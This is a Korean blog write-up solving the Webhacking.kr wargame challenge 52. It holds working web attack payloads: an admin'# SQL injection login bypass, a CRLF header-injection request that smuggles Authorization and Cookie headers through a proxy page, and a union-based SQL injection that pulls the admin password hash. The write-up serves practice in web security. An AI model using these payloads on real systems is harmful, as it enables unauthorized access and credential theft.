Information Security/General Technique

Webhacking.kr 52번 - Header Injection

hackcatml 2020. 2. 26. 09:02
반응형

문제의 핵심 소스코드는 다음과 같음
admin으로 로그인 하되, 172.17.0.x 대역의 ip에서 접근해야지만 flag 획득가능

if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}

 

Sql쿼리 문에 대해서는 아무런 제한도 없어 admin'# 쿼리로 인증 우회 가능

문제는 ip주소인데, $_SERVER['REMOTE_ADDR']를 spoofing할 수 있는 방법을 알아본 결과 간혹 X-Forwarded-For 헤더를 삽입할 경우 된다고 함. 그러나, 본 문제의 경우는 되지 않음

그렇다면, proxy페이지를 이용해야 할 것 같고, 프록시 페이지로 접근하면 Request와 Response가 보임.
그런데 request 헤더에 아무런 정보가 없음

 

request 헤더에 인증정보가 담긴 헤더를 삽입해야하는데, 이때 header 인젝션 기법이 사용됨
아스키 표에서 0x0D는 Carriage Return, 0x0A는 Line Feed를 의미. 즉, 0x0D0A는 줄바꿈을 의미하는 CRLF 의미
이 기호를 포함하여 GET방식으로 데이터를 전송하면 헤더값 조작이 가능
(0x0D의 URL표현은 %0D, 0x0A의 URL표현은 %0A)

 

request의 Authorization헤더에는 admin으로 인증우회할 수 있는 admin'#:1234를 base64 인코딩

또는 sql injection으로 admin의 real password를 구하여 admin:<real password>를 base64 인코딩

 

최종 Request:
page=/admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20YWRtaW46Zmx5cGln%0d%0aCookie:%20PHPSESSID=lsm7oq3vl6qjab716ojf1a3e74%0d%0aDummy:%20


※ sql injection으로 admin 비번 알아내기
페이로드:
abc' union select if((select length(pw) from member where id='admin')=32,(select pw from member where id='admin'),'latte')-- 

md5해쉬 복호화: https://www.md5online.org/md5-decrypt.html

반응형